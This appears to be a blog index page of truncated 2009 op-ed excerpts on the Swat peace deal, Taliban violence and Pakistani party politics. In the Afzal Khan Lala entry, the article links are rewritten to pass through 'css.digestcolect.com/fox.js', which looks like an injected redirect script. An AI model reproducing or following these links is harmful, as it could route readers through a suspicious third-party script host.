Rahimullah Yusufzai: Swat: signs that inspire hope: Swat deal raises questions about the definition and concept of sharia to be implemented.— Reuters/File Photo Swat: signs that inspire hope Saturday, February 21, 2009 by Rahimullah Yusufzai Maulana Sufi Mohammad has once again been tasked to perform a
Irfan Hussain: Terms of Surrender in Swat: Terms of Surrender By Irfan HusainSaturday, 21 Feb, 2009 This is the second time the govt has surrendered to Maulana Sufi Mohammad; the first was under the last PPP administration in the
Implications of the Swat deal —Najmuddin A Shaikh: Implications of the Swat deal —Najmuddin A Shaikh It is a sad but almost foregone conclusion that this agreement will be no more effective than the ones concluded in the past, and that while there will be a welcome
Swat deal: an act of desperation? – Nasim Zehra: Swat deal: an act of desperation?Wednesday, February 18, 2009Nasim Zehra The writer is an Islamabad-based security analyst Given the circumstances that have prompted the government to enter into a peace deal with Maulvi Sufi Muhammad of the TNSM and
Swat: Taliban hit-list and two-finger sign: If international humiliation and domestic depression is what the Taliban wanted, they have found the device with which to do it in Swat. They have released a list of 43 people whom they have declared “wanted” and liable to
Swat: Afzal Khan Lala of ANP says: "I will not surrender to the Taliban terror. I will not run away.": Legend from Swat: Afzal Khan Lala Interview by Abdul Haye Kakar BBC Urdu dot com http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/01/090122_afzal_interview_rza.shtml …. Story of Afzal Khan Lala – by Rahimullah Yusufzai http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/rahimullah-yusufzai-afzal-khan-lala-of.html …. Also read, Last Khan standing – by Sartaj Khan http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/last-khan-standing.html ….
Swat: Muted protests won’t do: Muted protests won’t do By Zubeida Mustafa PAKISTANIS have perfected the art of protest. Karachi has posters plastered on the walls calling on people to demonstrate their solidarity with the Palestinians in Gaza. In 2007 Musharraf’s coup against the
Saving Swat: Wednesday, January 21, 2009 Militants, who now control well over half of the Swat Valley, have blown up at least ten schools for girls over the past week. The idea is to drive home the menace behind their warning
Swat: Last Khan standing: Tuesday, January 20, 2009 Sartaj Khan The militants in Swat once again attacked the veteran Pashtun nationalist leader Mohammad Afzal Khan on Jan 11 in his native village of Bara Durshkhela, in the Matta area in upper Swat. Mohammad
The fall of Swat: After a year of military operations in Swat, the territory controlled by the terrorists has reportedly increased from 25 percent to 75 percent. On Friday, the army killed 12 Taliban in different parts, but could not prevent the demolition
Ayesha Ijaz Khan: Between imperialism and extremism: On the one hand, Pakistan is the subject of a vicious and malicious international smear campaign, emanating from Washington and Delhi alike. On the other hand, internally we face out-of-control militant and misogynist groups whose aim is to terrorize
The media-mujahideen’s campaigan against PPP and ANP: The ‘image’ and the ‘reality’ A suicide bomber blew himself up at the exit gate of a packed Qayyum Stadium in Peshawar on Tuesday, killing four people and wounding 13. The occasion was the conclusion of the Third Inter-Provincial
Courage & politics: Remembering Benazir Bhutto: Courage & politicsTuesday, November 11, 2008 Masood Sharif Khan Khattak I recently read an article justifying Asfandyar Wali’s departure from Pakistan to the UK written by Gulmina Bilal of the ANP, dated Oct 27. That prompted me to write
In defence of Bacha Khan – by Dr. Haider Lashari: Keep the record straight, Mr. Haroon-ur-Rashid. In defence of Bacha Khan – By Dr. Haider Lashari In response to the disinformation campaign against ANP, PPP and other progressive parties by the supporters of Mullah and Military in Pakistan.
In Asfandyar Wali Khan’s defence: by Gulmina Bilal Asfandyar Wali Khan has fled the country. Or so people will have you believe. In recent days, friends and family have bombarded me with questions and snide remarks about his whereabouts. Some have found this to
Profile of a terrorist of Taliban cum Sipah-e-Sahabh cum Kashmiri jihadi…: PPP, PPP Sherpao, ANP, Armed Forces, Police, (previously Musharraf, Shaukat Aziz, Benazir), Mosques, Imambargahs, Miladun Nabi, Muharram, Eid Namaz, Hotels, Hujrahs…. who is next? what is next? Nisar main teri galiyon kay ay watan kay jahan….(Faiz) Who is doing
Understanding the insurgency: Dr Hasan-Askari Rizvi This state of affairs did not develop in a year, but gradually since 2001. The Musharraf regime and the MMA government in the NWFP allowed these elements to entrench themselves and expand their influence The October